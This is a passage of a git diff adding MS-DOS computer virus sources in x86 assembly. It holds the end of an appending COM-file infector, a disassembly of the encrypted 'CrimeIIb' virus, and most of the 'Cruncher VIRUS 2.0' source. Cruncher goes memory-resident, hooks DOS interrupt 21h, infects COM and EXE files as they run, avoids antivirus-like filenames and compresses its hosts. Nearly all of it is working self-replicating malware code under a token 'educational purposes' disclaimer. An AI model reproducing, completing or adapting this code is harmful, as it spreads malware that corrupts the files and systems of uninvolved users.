examine the program +;Structure: +;jmp near ptr xxxx +;Cli Cli }These add up to the original length +;Orignal code sans 5 bytes + +;Original_Code (5 bytes) }The length of all virus data +;Other virus data is equal to the difference in +;Infect the addresses of Infect and Original_Code + +;End_Virus + + +;Thus, the jump must jump TO (offset Infect- offset Original_Code + Original_Length + origin) +;However, in the 80x86, NEAR jumps are calculated as an offset from the position +;of the next statement to execute (because of fetch/execute cycle operation). + +;Since jmp near ptr xxxx takes 3 bytes, the next instruction is THREE bytes from +;The 0E9h jmp near instruction, so xxxx will be (offset Infect-Offset Original_Code +;+Original_Length-3); + + ;Since AX already contains the original length, we will merely add + ;Space for the virus data, and take care of the three bytes + ;of code generated by the jmp near instruction. + + add ax, (offset Infect - Offset Original_Code -3) + + ;calculate jump address + mov byte ptr [bp-8], 0e9h ;jmp near instruction + mov word ptr [bp-7], ax ;offset for near jmp + mov word ptr [bp-5], 0fafah ;cli cli + + mov ax, 4200h ;seek begining of file + xor cx, cx + mov dx, cx + int 21h + + mov ah, 40h ;write patched code + mov cx, 5 ;5 bytes of code + lea dx, [bp-8] ;our buffer + int 21h + + mov ax, 4202h ;seek EOF + xor cx, cx + xor dx, dx + int 21h + + + lea dx, [si - (offset Reference - offset Original_Code)]; set start + mov cx, (offset End_Virus - offset Original_Code) ;set length + mov ah, 40h ;append virus to file + int 21h ;doit + + inc infected_Count ;bump up the number of programs infected + +Error: mov dx,date_stamp ;restore date + mov cx,time_stamp ;restore time + mov ax, 5701h ;set them + int 21h + + mov ah, 3eh ;close file + int 21h + +Restore_Flags: + xor ch, ch ;zero hi byte flags + mov cl,attributes ;restore flags + lea dx, file_name ;ds:dx points to ASCIIZ string + ;in the buffer, offset 1eh contains + ;the file name + mov ax, 4301h ;get/SET flags + int 21h ;Doit + +DoAgain:;See if we're done infecting + cmp infected_count, infect_per_run + jae NoFile ;if we're done, same as no new file + + + mov ah, 4fh ;find next + int 21h + + jc NoFile ;if carry is clear, DOIT again! + jmp ReSearch + +;Since we have no more files, we will restore things to normal. +NoFile: + mov dx, 80h ;reset default dta at DS:80h + mov ah, 1ah ;set DTA + int 21h + + add sp, 52 ;deallocate buffers and infected_count + + + +;Put original code of program BEFORE it was infected back in place! + + +Done: + pop ax ;restore ax + + + ;FUNKY code! In the 80x86, all NEAR or SHORT jmp opcodes take + ;a RELATIVE address...... BUT a retn opcode pops a near absolute + ;address of the stack - saves us the trouble of some calculating + ;relative to here, and the trouble of a self-modifying + ;far absolute jmp! (5 bytes) + + mov bx, 0100h + push bx + ret ;easiest jump to cs:100 + +End_Virus: +_TEXT ends +end start + diff --git a/c/Crimeiib.asm b/c/Crimeiib.asm new file mode 100755 index 0000000..de838fb --- /dev/null +++ b/c/Crimeiib.asm @@ -0,0 +1,394 @@ + +PAGE 59,132 + +; +; +; CRIMEIIB +; +; Created: 31-Jan-91 +; Passes: 5 Analysis Options on: none +; +; + +data_8e equ 20D3h ;* +data_9e equ 28C9h ;* +data_10e equ 3C81h ;* +data_26e equ 8ECDh ;* +data_34e equ 0B7C5h ;* +data_37e equ 0D848h ;* +data_38e equ 0E245h ;* +data_44e equ 0F198h ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +crimeIIb proc far + +start: +;* jmp loc_2 ;* + db 0E9h,0FFh,0FFh + db 1 ; Data table (indexed access) + db 00h, 99h, 5Eh, 81h,0EEh, 03h + db 01h, 83h,0FEh, 00h, 74h, 1Ch + db 2Eh, 8Ah, 94h, 03h, 01h, 8Dh +loc_3: + mov ax,cs + push es + lea bx,[si+12Ah] ; Load effective addr + sub cx,bx + +locloop_4: + mov al,cs:[bx] + xor al,dl + ror dl,1 ; Rotate + mov cs:[bx],al + inc bx + loop locloop_4 ; Loop if cx > 0 + + mov bh,4Ch ; 'L' + loop $+32h ; Loop if cx > 0 + + cbw ; Convrt byte to word + iret ; Interrupt return +;* js loc_6 ;*Jump if sign=1 + db 78h, 35h + xchg ax,di + retn 3479h + adc al,70h ; 'p' + scasb ; Scan es:[di] for al + xor ax,4C20h + db 66h, 83h, 99h, 30h, 95h, 99h + db 29h, 90h, 48h,0BBh, 1Dh, 04h + db 60h, 1Dh, 11h, 48h, 8Eh, 35h + db 0B7h, 44h,0E2h, 3Bh, 9Eh, 41h + db 0F2h, 7Bh, 9Eh, 78h, 7Ch,0FEh + db 0B8h,0FFh,0A6h, 2Dh, 17h, 14h + db 0C7h, 35h, 98h,0D3h, 5Bh, 33h + db 99h +loc_6: + mov cx,1D6Ch + pop di + dec ax + db 0C8h, 32h, 99h, 5Ch, 8Dh, 3Bh + db 09h,0E2h,0A0h,0B7h, 37h,0CDh + db 67h,0A3h, 72h, 81h,0F6h + +locloop_7: + jle loc_3 ; Jump if < or = +;* call far ptr sub_7 ;* + db 9Ah, 63h, 33h, 99h,0CCh + db 67h, 33h, 98h, 3Ch, 99h,0C3h + db 66h,0CCh, 66h, 33h, 99h,0CDh + db 66h,0FEh,0B9h,0CCh + db 64h, 37h + db 99h + db 0CCh, 66h + dw 9931h ; Data table (indexed access) + db 33h, 69h,0CCh, 66h,0CCh, 66h + db 0CDh, 66h,0CCh, 66h,0D3h, 98h + db 0CCh, 66h, 2Fh, 99h,0CCh, 66h + db 26h, 98h,0CEh + db 65h, 33h + +locloop_8: + cbw ; Convrt byte to word + xor bp,[bp+si+39h] + cbw ; Convrt byte to word + out 48h,al ; port 48h ??I/O Non-standard + jbe $-3Dh ; Jump if below or = + mov [bp+19h],sp + mov bh,8Fh + sub [bp-67h],di + in al,dx ; port 0, DMA-1 bas&add ch 0 + db 66h, 37h, 70h,0CCh, 66h,0B0h + db 67h,0CCh, 13h, 30h, 70h, 1Bh + db 66h, 1Dh, 12h, 48h,0F7h + db 32h,0A4h, 81h, 3Ch +loc_10: + inc si + nop + loop locloop_7 ; Loop if cx > 0 + + mov bh,16h + int 67h ; ??INT Non-standard interrupt + esc 0,[bp+si+485Ch] ; coprocessor escape + cmc ; Complement carry + sbb ax,6743h + xor dx,[si] +;* jo loc_11 ;*Jump if overflow=1 + db 70h,0F7h + xor ah,[bp+si] + int 3 ; Debug breakpoint + db 67h, 8Ah, 97h,0CCh + +locloop_12: + in ax,dx ; port 0, DMA-1 bas&add ch 0 + db 36h, 10h,0CBh, 25h + db 70h,0DEh, 8Bh, 84h,0C5h,0B7h + db 47h,0E2h,0B0h, 98h,0E2h,0EFh + db 0B7h, 1Ch,0CDh + db 48h,0B8h, 1Dh, 4Bh, 67h, 1Dh + db 10h, 48h,0EFh, 32h,0B7h, 47h + db 0E2h, 94h, 98h,0E2h,0EFh,0B7h + db 12h,0CDh,0D2h, 19h, 54h,0EDh + db 48h, 0Ah, 0Dh, 78h, 67h, 4Fh + db 9Ah, 27h, 19h,0A3h,0B7h,0F6h + db 0E2h, 9Dh, 98h,0B9h, 65h,0D8h + db 0ECh, 5Ch,0EBh,0AFh, 16h,0CEh + db 0DFh, 2Ah, 99h,0E2h,0ECh, 24h + db 19h, 3Eh, 33h, 87h, 9Bh, 01h + db 47h, 70h, 7Bh, 3Fh,0EBh,0AFh + db 51h,0CAh,0DEh, 33h, 98h,0FFh + db 0AFh, 1Dh, 10h,0CBh, 25h, 70h + db 67h, 08h, 27h,0B0h, 60h,0ECh + db 18h,0C0h, 14h, 50h,0AEh, 35h + db 2Ch,0CCh,0DCh,0B3h, 99h, 79h + db 66h, 83h, 99h, 7Dh, 60h,0E1h + db 79h, 46h,0AEh,0B3h, 50h,0CDh + db 0DEh, 33h, 9Ch, 01h, 75h, 41h + db 9Eh, 32h,0A0h,0B3h, 67h,0C5h + db 13h,0D6h, 20h,0C9h, 66h, 87h + db 9Bh, 7Eh, 61h,0FEh,0B8h, 2Eh + db 9Eh,0D8h, 67h, 93h, 3Eh, 22h + db 8Dh,0CDh, 72h, 25h, 9Eh,0D0h + db 7Eh, 23h,0ECh,0D0h, 7Ah, 46h + db 0ECh,0CFh, 7Ah, 34h, 99h,0CAh + db 39h, 6Bh,0C6h, 94h,0D2h, 2Ah + db 54h,0EDh, 48h,0BBh, 1Dh, 09h + db 67h, 87h,0DEh,0FFh,0B4h + db 65h + db 14h, 78h,0AFh, 35h, 54h,0EDh + db 38h + db 1Dh, 5Fh, 48h,0D0h, 32h, 99h + db 24h, 3Bh + +locloop_17: + xor dx,[si] + push ax + db 0C9h, 32h,0B7h, 46h,0E2h, 85h + db 98h,0E2h, 98h,0B7h, 2Fh,0CDh + db 0FEh + db 30h + db 41h,0E2h,0ECh, 34h + db 13h, 1Ch, 5Ah,0CCh,0ECh,0CFh + db 8Fh, 1Eh, 9Ah, 4Ch, 9Ch, 32h + db 0ECh,0DCh, 48h,0B9h, 1Dh, 62h + db 67h, 0Fh, 98h,0B8h,0B3h, 0Fh + db 9Bh,0B9h, 65h,0DAh,0A5h, 33h + db 0D2h, 3Dh, 54h,0EDh,0D2h, 74h + db 2Bh,0CCh, 30h,0BEh, 2Dh, 25h + db 60h,0FEh,0B8h, 92h,0DDh, 37h + db 99h,0E2h + db 0ECh, 34h,0A5h,0CFh, 13h, 34h + db 29h,0CCh, 48h,0BBh, 9Eh, 27h + db 0CBh,0DBh, 85h,0CDh, 8Eh,0ABh + db 99h + db 0BFh, 48h,0D8h, 3Ah,0FFh,0A6h + db 2Dh, 17h, 14h,0DDh,0A3h, 99h + db 47h, 21h, 31h,0B7h, 45h,0E2h + db 4Eh, 98h, 47h, 61h, 1Dh, 10h + db 48h, 19h, 32h, 15h, 04h,0EFh + db 74h, 9Bh, 41h,0E2h, 74h, 9Ah + db 45h, 61h, 2Ch, 5Ah, 77h, 62h + db 33h,0B7h, 0Ah, 61h, 30h, 56h + db 75h, 26h, 33h,0CFh, 83h, 29h + db 7Ch, 5Eh,0C9h, 46h, 6Fh, 12h + db 3Fh, 9Ah, 9Fh, 33h, 85h, 5Ah + db 33h,0ECh, 35h, 38h, 87h,0A2h + db 41h,0F2h, 3Bh, 9Eh, 01h, 47h + db 0DBh, 51h,0CCh, 8Eh, 77h, 99h + db 0BFh,0BCh, 87h,0A2h, 41h,0F2h + db 0DBh, 9Fh, 01h, 47h, 1Dh + db 67h, 48h + +locloop_21: + retf + xor dh,[bx+di-2] + db 66h, 40h, 9Ah, 25h,0E0h, 31h + db 0B7h, 46h,0E2h, 9Eh, 98h,0F0h + db 66h, 46h, 9Ch, 4Fh,0A5h, 3Ah + db 72h, 7Bh,0D2h, 7Ch,0C9h, 01h + db 47h, 6Bh,0EAh,0CFh, 8Fh, 10h + db 66h, 9Ch,0D2h, 1Ch, 54h,0EDh + db 0E5h,0F0h, 8Ch + db 7Ch, 76h, 1Dh,0A1h,0CBh, 3Eh + db 46h, 7Ch, 32h,0AEh,0D8h + db 41h, 41h,0DAh, 3Ah, 9Eh, 75h + db 5Ch, 33h, 29h,0CCh, 9Ah,0C0h + db 33h, 78h, 21h, 65h,0AAh, 1Eh + db 0EBh, 87h, 90h,0CBh,0ABh, 12h + db 0C7h, 30h,0EBh, 8Fh, 90h,0CBh + db 0DFh, 73h, 99h, 7Ch, 66h,0C1h + db 37h,0B8h, 64h,0CAh, 5Ah, 83h + db 29h,0B9h, 9Ch,0F0h + db 3Ah, 47h + db 9Ah, 8Bh,0D6h, 6Fh,0B7h, 44h + db 63h, 74h, 29h,0E6h, 48h,0BBh + db 9Ch, 8Bh,0D6h, 1Dh,0B7h, 44h + db 63h, 74h, 29h,0E6h, 48h,0BBh + db 9Ch, 8Bh,0EBh,0A7h, 91h,0CBh + db 0D2h, 7Dh, 20h,0DCh, 66h,0FEh + db 0B8h,0BFh, 67h,0F0h, 2Dh,0E3h + db 60h,0FEh,0B8h, 4Fh,0A5h, 26h + db 29h,0DCh + db 40h, 0Bh, 9Eh,0CBh, 13h + db 21h, 61h, 78h, 49h, 35h, 54h +loc_26: + in ax,dx ; port 0, DMA-1 bas&add ch 0 + in ax,0F0h ; port 0F0h ??I/O Non-standard + xchg di,[si+48h] + sbb ax,0CBA1h + db 61h, 47h, 98h, 0Fh,0D2h, 7Ch + db 54h,0EDh, 15h,0EBh, 60h, 0Fh + db 0D2h, 7Dh, 20h,0CBh, 66h,0BEh + db 0Dh, 7Bh, 67h,0FEh,0B8h,0BEh + db 77h,0DBh,0B4h,0CCh,0D2h, 7Ch + db 20h,0CBh, 66h,0FEh,0B8h,0BEh + db 63h,0DBh,0B8h,0CCh, 8Dh,0C1h + db 14h, 58h,0DBh, 32h, 2Dh, 82h + db 0DFh, 34h, 99h, 01h, 47h, 41h + db 88h, 24h, 69h, 33h, 2Dh, 83h + db 0DFh, 34h, 99h, 01h, 47h, 41h + db 9Ch, 24h, 65h, 33h, 72h, 3Eh + db 0A5h, 87h,0B6h,0CAh,0ABh, 12h + db 1Ah, 0Fh, 79h, 15h, 13h,0CBh + db 61h, 0Fh,0DBh,0B9h, 67h,0F0h + db 2Dh,0E3h, 60h,0FEh,0B8h, 4Fh + db 0A5h, 25h,0BFh, 47h, 69h,0B0h + db 5Ah,0CEh, 40h,0B8h, 8Eh,0CBh + db 0ECh,0F2h,0BDh, 2Ch,0ECh,0D3h + db 0C8h + db 'uc3K$' + db '?9]' + db 0C8h, 63h, 09h, 58h,0B8h, 63h + db 0B9h, 51h, 27h, 64h,0A3h, 5Ah + db 94h, 3Eh, 62h,0CBh,0D2h, 60h + db 87h,0B6h, 01h, 47h,0BFh, 59h + db 42h,0BEh,0DBh, 8Ah,0CDh,0EDh + db 0E0h, 1Ah, 0Eh, 78h, 8Bh, 9Bh + db 0F1h,0ABh, 12h, 12h, 14h, 61h + db 2Ch, 2Dh,0F3h,0EBh,0A7h, 08h + db 0CDh,0DFh, 2Fh, 99h, 01h, 47h + db 1Dh + db 13h, 68h,0F7h + db 32h,0B7h, 46h,0E2h,0A1h, 98h + db 0F1h, 3Ch, 7Eh,0EDh,0CFh, 8Fh + db 0AAh, 99h,0E2h,0EDh,0B7h, 3Ch + db 0CDh, 48h,0BAh, 1Dh, 4Fh, 67h + db 1Dh, 12h, 48h,0C1h, 32h,0B7h + db 45h,0E2h,0B4h, 98h,0E2h + db 0EDh,0B7h, 0Ch,0CDh, 35h, 00h + db 42h,0FFh,0AFh,0E2h, 49h, 46h + db 0AAh,0E2h, 41h, 4Fh, 9Fh, 33h + db 0EDh,0CAh,0E7h,0F0h, 99h,0DCh + db 84h,0C9h, 28h,0C5h,0B5h,0D3h + db 20h,0C8h, 66h, 1Dh, 12h, 58h + db 0FFh, 32h, 4Ah, 2Eh, 36h, 18h + db 5Bh,0E2h,0EFh,0AFh, 3Eh,0CDh + db 48h,0BAh, 05h + db 53h, 67h + db 1Dh, 10h, 48h,0C3h, 32h, 20h + db 0CCh, 64h, 1Dh, 10h, 40h,0F5h + db 32h, 20h, 32h, 99h, 1Dh, 10h + db 40h,0C7h, 32h,0B7h, 47h,0EAh + db 0A6h, 98h, 4Fh,0A7h, 30h,0B7h + db 45h + +locloop_31: + jmp far ptr $-6CB4h + loop $+74h ; Loop if cx > 0 + + sbb ax,0E28Dh + jc $+4Ch ; Jump if carry Set + mov cx,52B8h + xchg ax,si + esc 6,[bp+di] ; coprocessor escape + esc 3,ds:[12ABh][bx] ; coprocessor escape +;* jno loc_30 ;*Jump if not overflw + db 71h,0C9h + db 67h, 8Bh, 99h, 8Eh, 55h,0FAh + db 0AAh, 1Eh,0ABh, 12h, 2Dh, 8Ch + db 0DFh, 2Fh, 99h, 41h,0F2h,0A2h + db 98h, 01h, 47h,0D8h,0AEh, 5Ch + db 0DEh, 31h,0DBh,0FFh,0AFh, 00h + db 4Bh, 01h, 47h,0DBh, 7Bh,0CCh + db 0DEh, 33h,0DBh,0FFh,0AFh, 00h + db 4Bh, 01h, 47h, 87h,0B6h, 9Fh + db 60h,0FEh,0B8h, 4Fh,0A5h, 29h + db 0BFh, 47h, 61h, 34h,0C2h,0E1h + db 65h, 33h,0B7h, 45h,0E2h,0F4h + db 98h, 78h, 26h, 8Ah, 9Ah,0CCh + db 0EBh,0A7h, 5Fh,0CDh,0ABh, 12h + db 0C3h, 95h,0DEh, 32h,0CEh, 01h + db 47h, 87h,0A7h, 01h, 47h,0DBh + db 0B5h,0CCh,0D2h, 08h, 14h, 58h + db 8Eh, 35h, 54h,0EDh, 8Dh, 09h + db 09h, 78h, 49h, 35h,0CAh + db 01h, 47h,0B8h, 4Ah, 4Fh,0A4h + db 2Dh, 21h,0CCh, 25h,0FEh,0B8h + db 97h, 61h, 1Dh, 10h, 40h,0A5h + db 32h, 18h, 2Dh, 98h, 33h, 21h + db 0CDh, 25h,0FEh,0B8h, 0Fh, 48h + db 0B8h, 15h, 0Fh, 67h, 87h,0B6h + db 0CAh, 35h,0FEh,0B8h, 47h,0B5h + db 0B0h, 5Bh,0D2h,0DEh, 32h,0DAh + db 01h, 47h, 68h, 9Eh, 0Fh,0D2h + db 3Dh + db 0B7h, 46h,0F2h,0F6h, 98h, 01h + db 47h, 87h,0A2h, 41h,0F2h,0FBh + db 9Fh +loc_34: + add [bx-25h],ax + mov word ptr ds:[61CCh],ax + sub al,2Dh ; '-' + db 0D6h,0DCh,0B3h, 99h, 01h, 47h + db 0B8h, 5Fh,0F1h, 66h, 33h,0EDh + db 0EAh, 48h,0B9h, 1Dh, 43h, 67h + db 0Fh, 98h,0B9h, 7Eh, 1Dh, 12h + db 48h,0EFh, 32h,0B7h, 47h,0FAh + db 0B8h, 98h,0C2h, 3Fh, 18h, 52h + db 0CFh,0AEh, 62h,0B7h, 47h,0E2h + db 0B6h, 98h, 9Ch,0ADh, 88h, 99h + db 0CDh, 99h,0D0h + db 2Dh +loc_35: + sub byte ptr [bp+di-55EEh],0Ch + js loc_34 ; Jump if sign=1 + inc cx + ja loc_35 ; Jump if above + xor si,word ptr ds:[0E247h][bx] + dec si + cbw ; Convrt byte to word + inc bp + and [bx+di],si + adc cl,[bx+si+19h] + xor dl,[bx+si] + retf +;* jns loc_36 ;*Jump if not sign + db 79h,0F0h + retf 0EA41h + cmp bx,[bp-48B9h] + mov si,5B05h + db 60h, 18h, 52h, 4Fh, 8Fh, 73h + db 0B7h, 46h, 61h,0B4h, 43h,0E2h + db 0EEh, 34h, 1Eh, 16h, 25h, 71h + db 7Bh, 3Eh, 8Dh, 41h, 09h, 24h + db 69h, 33h,0C2h, 41h,0EAh,0FBh + db 9Fh, 41h,0F2h, 33h, 98h,0E7h + db 0ACh, 87h,0D9h, 01h, 47h, 1Dh + db 13h, 58h, 65h, 32h,0CAh, 41h + db 0EAh,0FBh, 9Fh, 41h,0FAh, 19h + db 98h,0E7h,0ADh, 1Dh, 13h,0CBh + db 54h,0F1h, 49h, 06h, 48h,0BBh + db 9Eh, 8Fh, 84h,0C0h,0C2h, 0Fh + +crimeIIb endp + +seg_a ends + + + + end start diff --git a/c/Crunch20.asm b/c/Crunch20.asm new file mode 100755 index 0000000..04d15f7 --- /dev/null +++ b/c/Crunch20.asm @@ -0,0 +1,1932 @@ +;----------------------------------------------------------------------------- +; Cruncher VIRUS version 2.0 +; +; Use MASM 4.0 to compile this source +; (other assemblers will probably not produce the same result) +; +; Disclaimer: +; This file is only for educational purposes. The author takes no +; responsibility for anything anyone does with this file. Do not +; modify this file! +;----------------------------------------------------------------------------- + + + .RADIX 16 + + +_TEXT segment + + assume cs:_TEXT, ds:_TEXT + + +VERSION equ 2 +FILELEN equ last - first ;length of virus +FILEPAR equ (FILELEN + 010F)/10 ;length of virus in paragraphs +STACKOFF equ 1000 ;Stack offset +BUFLEN equ 18 ;length of buffer + + +;--------------------------------------------------------------------------- +; data area for virus +;--------------------------------------------------------------------------- + + org 00E0 + +oi21 dw 0, 0 ;original interupt 21 +orglen dw 0, 0 ;original size of file +oldlen dw 0, 0 ;size of file to be packed +newlen dw 0, 0 ;size of packed file +lm_par dw 0 ;size of load module (p) +workseg dw 0 ;work segment +topseg dw 0 ;top of work area +vorm dw 0 +savevorm dw 0 +reads db 0 + + + +;----------------------------------------------------------------------------- +; begin of virus, installation in memory +;----------------------------------------------------------------------------- + + org 0100 + +first: call next ;get IP +next: pop si + sub si,low 3 ;SI = begin virus + mov di,0100 + cld + + push ax ;save registers + push ds + push es + push di + push si + + mov ah,30 ;DOS version >= 3.1? + int 21 + xchg ah,al + cmp ax,030A + jb not_install + + mov ax,33E0 ;already resident? + int 21 + cmp ah,0A5 + je not_install + + mov ax,es ;adjust memory-size + dec ax + mov ds,ax + xor bx,bx + cmp byte ptr [bx],5A + jne not_install + mov ax,[bx+3] + sub ax,FILEPAR + jb not_install + mov [bx+3],ax + sub word ptr ds:[bx+12],FILEPAR + + mov es,[bx+12] ;copy program to top + push cs + pop ds + mov cx,FILELEN + rep movsb + + push es + pop ds + + mov ax,3521 ;get original int21 vector + int 21 + mov ds:[oi21],bx + mov ds:[oi21+2],es + + mov dx,offset ni21 ;install new int21 handler + mov ax,2521 + int 21 + +not_install: pop si ;restore registers + pop di + pop es + pop ds + pop ax + + add si,(offset buffer-100) + cmp byte ptr cs:[si],4Dh ;COM or EXE ? + je entryE + +entryC: push di ;restore COM file + mov cx,BUFLEN + rep movsb + ret + +entryE: mov bx,ds ;calculate CS + add bx,low 10 + mov cx,bx + add bx,cs:[si+0E] + cli ;restore SS and SP + mov ss,bx + mov sp,cs:[si+10] + sti + add cx,cs:[si+16] + push cx ;push new CS on stack + push cs:[si+14] ;push new IP on stack + db 0CBh ;retf + + +;----------------------------------------------------------------------------- +; interupt 24 handler +;----------------------------------------------------------------------------- + +ni24: mov al,3 ;to avoid 'Abort, Retry, ...' + iret + + +;----------------------------------------------------------------------------- +; interupt 21 handler +;----------------------------------------------------------------------------- + +ni21: pushf + + cmp ax,33E0 ;install-check ? + jne not_ic + mov ax,0A500+VERSION ;return a signature + popf + iret + +not_ic: cmp ax,33E1 ;print message ? + jne not_mes + push ds + push cs + pop ds + mov dx,offset printme + mov ah,9 + int 21 + pop ds + popf + iret + +not_mes: push es ;save registers + push ds + push si + push di + push dx + push cx + push bx + push ax + + cmp ax,4B00 ;execute ? + jne no_infect + + call infect + +no_infect: pop ax ;restore registers + pop bx + pop cx + pop dx + pop di + pop si + pop ds + pop es + popf + +org21: jmp dword ptr cs:[oi21] ;call to old int-handler + + +;----------------------------------------------------------------------------- +; tries to infect the file +;----------------------------------------------------------------------------- + +infect: cld + + push cs ;copy filename to CS:0000 + pop es + mov si,dx + xor di,di + mov cx,0080 +namemove: lodsb + cmp al,0 + je moved + cmp al,'a' + jb char_ok + cmp al,'z' + ja char_ok + xor al,20 ;convert to upper case +char_ok: stosb + loop namemove +return: ret + +moved: stosb ;put last zero after filename + lea si,[di-5] + push cs + pop ds + + lodsw ;check extension .COM or .EXE + cmp ax,'E.' + jne not_exe + lodsw + cmp ax,'EX' + jmp short check + +not_exe: cmp ax,'C.' + jne return + lodsw + cmp ax,'MO' +check: jne return + + push ax ;save begin of extension + std ;find begin of filename + mov cx,si + inc cx +searchbegin: lodsb + cmp al,':' + je checkname + cmp al,'\' + je checkname + loop searchbegin + dec si + +checkname: pop dx + cld ;check filename + lodsw + lodsw + mov di,offset namesE + mov cl,12 + cmp dx,'EX' + je zz + mov di,offset namesC + mov cl,3 +zz: repnz scasw + je return + +name_ok: mov ah,48 ;get space for work segment + mov bx,0FFFF + int 21 + and bx,0F800 + mov ah,48 + int 21 + jc return + + push ax ;save begin and end of segment + add ax,bx + mov word ptr [topseg],ax + pop ax + add ah,10 + mov word ptr [workseg],ax + mov cl,0Bh + shr bx,cl + sub bl,2 + mov byte ptr [reads],bl + + mov ax,3300 ;get ctrl-break flag + int 21 + push dx ;save flag on stack + + cwd ;clear the flag + inc ax + push ax + int 21 + + mov ax,3524 ;get int24 vector + int 21 + push es ;save vector on stack + push bx + + push cs + pop ds + + mov dx,offset ni24 ;install new int24 handler + mov ah,25 + push ax + int 21 + + mov ax,4300 ;ask file-attributes + cwd + int 21 + push cx ;save attributes on stack + + xor cx,cx ;clear attributes + mov ax,4301 + push ax + int 21 + jc return1v + + mov ax,3D02 ;open the file + int 21 + jnc opened +return1v: jmp return1 + +opened: xchg ax,bx ;save handle + + mov ax,5700 ;get file date & time + int 21 + push dx ;save date & time on stack + push cx + + xor dx,dx + mov di,offset oldlen + mov word ptr [di],dx + mov word ptr [di+2],dx + + mov cx,word ptr [workseg] ;read complete file +lees: push cx + mov ds,cx + mov cx,8000 + mov ah,3F + int 21 + pop cx + cmp ax,dx ;stop if no more bytes are read + je gelezen + add word ptr cs:[di],ax ;count size of file + adc word ptr cs:[di+2],dx + add ch,8 + dec byte ptr cs:[reads] ;read more? + jnz lees + cmp ax,(8000-FILELEN) ;file too big? + je close2 + +gelezen: mov ds,word ptr cs:[workseg] ;DS:SI -> begin of file + xor si,si + + push cs + pop es + mov di,offset buffer + mov cx,BUFLEN ;copy begin of file to buffer + rep movsb + + xor si,si + push ds + pop es + + cmp word ptr [si],'ZM' ;EXE or COM? + je is_EXE + + +is_COM: call check_com ;check the file + jc close2 + + mov ah,3E ;close file + int 21 + + xor di,di ;put JMP at begin of file + mov al,0E9 + stosb + mov ax,word ptr cs:[oldlen] + sub ax,low 3 + stosw + + call addvirus ;append virus after file + + push cs + pop ds + + mov ah,3C ;create new file + xor dx,dx + mov cx,20 + int 21 + jc return1 + xchg ax,bx + + call do_com ;write packed file +close2: jmp close + + +is_EXE: call check_exe ;check the file + jc close2 + + mov ah,3E ;close the file + int 21 + +infect_exe: call getlen ;calculate new CS & IP + mov cx,0010 + div cx + sub ax,word ptr [si+8] + dec ax + add dx,low 10 + + mov word ptr [si+16],ax ;put CS in header + mov word ptr [si+0E],ax ;put SS in header + mov word ptr [si+14],dx ;put IP in header + mov word ptr [si+10],STACKOFF ;put SP in header + + call getlen ;put new length in header + add ax,FILELEN + adc dx,0 + call calclen + mov word ptr [si+4],ax + mov word ptr [si+2],dx + + call addvirus ;append virus after file + + call pre_patch ;prepare file for compression + jnc patch_ok + pop cx + pop dx + jmp short do_close + +patch_ok: push cs + pop ds + + mov ah,3C ;create new file + xor dx,dx + mov cx,20 + int 21 + jc return1 + xchg ax,bx + + call do_exe ;write packed file + +close: pop cx ;restore date & time + pop dx + mov ax,5701 + int 21 + +do_close: mov ah,3E ;close the file + int 21 + +return1: pop ax ;restore attributes + pop cx + cwd + int 21 + + pop ax ;restore int24 vector + pop dx + pop ds + int 21 + + pop ax ;restore ctrl-break flag + pop dx + int 21 + + mov ax,word ptr cs:[workseg] ;release work segment + sub ah,10 + mov es,ax + mov ah,49 + int 21 + + ret + + +;----------------------------------------------------------------------------- +; add virus to file +;----------------------------------------------------------------------------- + +addvirus: push ds + push si + + push cs ;ES:DI -> end of file + pop ds + call gotoend + mov si,0100 ;append virus + mov cx,FILELEN + rep movsb + + add word ptr [oldlen],FILELEN ;adjust size counters + adc word ptr [oldlen+2],0 + + mov ax,word ptr [oldlen] + mov dx,word ptr [oldlen+2] + mov word ptr [orglen],ax + mov word ptr [orglen+2],dx + + pop si + pop ds + ret + +;----------------------------------------------------------------------------- +; filenames to avoid +;----------------------------------------------------------------------------- + +namesC db 'CO', ' ', ' ' +namesE db 'SC', 'CL', 'VS', 'NE', 'HT', 'TB', 'VI', 'FI' + db 'GI', 'RA', 'FE', 'MT', 'BR', 'IM', ' ', ' ' + db ' ', ' ' + + +;----------------------------------------------------------------------------- +; calculate length for EXE header +;----------------------------------------------------------------------------- + +calclen: mov cx,0200 + div cx + or dx,dx + jz no_cor + inc ax +no_cor: ret + + +;----------------------------------------------------------------------------- +; get original length of program +;----------------------------------------------------------------------------- + +getlen: mov ax,cs:[oldlen] + mov dx,cs:[oldlen+2] + ret + + +;----------------------------------------------------------------------------- +; goto position in file +;----------------------------------------------------------------------------- + +gotoend: call getlen +goto: call div10 + add ax,word ptr cs:[workseg] + mov es,ax + mov di,dx + ret + + +;----------------------------------------------------------------------------- +; check COM file +;----------------------------------------------------------------------------- + +check_com: cmp word ptr [si+3],0FC3Bh ;already packed? + je bad_com + + test byte ptr [si],80 ;maybe a strange EXE? + jz bad_com + + call getlen ;check length + cmp ah,0D0 + jae bad_com + cmp ah,1 + jb bad_com + + clc + ret + +bad_com: stc + ret + + +;----------------------------------------------------------------------------- +; check EXE file +;----------------------------------------------------------------------------- + +check_exe: cmp word ptr [si+23],06FC ;already packed? + je bad_exe + + cmp word ptr [si+18],40 ;is it a windows/OS2 EXE ? + jb not_win + + mov ax,003C + cwd + call goto + + mov ax,word ptr es:[di] + mov dx,word ptr es:[di+2] + call goto + + cmp byte ptr es:[di+1],'E' + je bad_exe + +not_win: call getlen ;check for internal overlays + call calclen + cmp word ptr [si+4],ax + jne bad_exe + cmp word ptr [si+2],dx + jne bad_exe + + cmp word ptr [si+0C],si ;high memory allocation? + je bad_exe + + cmp word ptr [si+1A],si ;overlay nr. not zero? + jne bad_exe + + + cmp word ptr [si+8],0F80 ;check size of header + ja bad_exe + cmp word ptr [si+8],2 + jb bad_exe + + clc + ret + +bad_exe: stc + ret + + +;--------------------------------------------------------------------- +; prepare file for compression +;--------------------------------------------------------------------- + +pre_patch: mov ax,word ptr [si+4] ;calculate size in paragraphs + mov cx,5 + shl ax,cl + sub ax,word ptr [si+8] + mov word ptr cs:[lm_par],ax + + mov ax,word ptr cs:[orglen] ;calculate end of file + mov dx,word ptr cs:[orglen+2] + call goto + + add ax,word ptr [si+8] ;file too big? + add ax,2 + cmp ax,word ptr cs:[topseg] + jb not2big + stc + ret + +not2big: mov ax,word ptr [si+8] ;copy header after file + push di + push di + push si + mov cx,3 + shl ax,cl + mov cx,ax + rep movsw + mov dx,di + pop si + pop di + push dx + + mov cx,word ptr [si+6] ;are there relocation items? + jcxz z5 + add di,[si+18] + add si,[si+18] + push di + push si + push cx + xor ax,ax ;clear relloc. items + shl cx,1 + rep stosw + 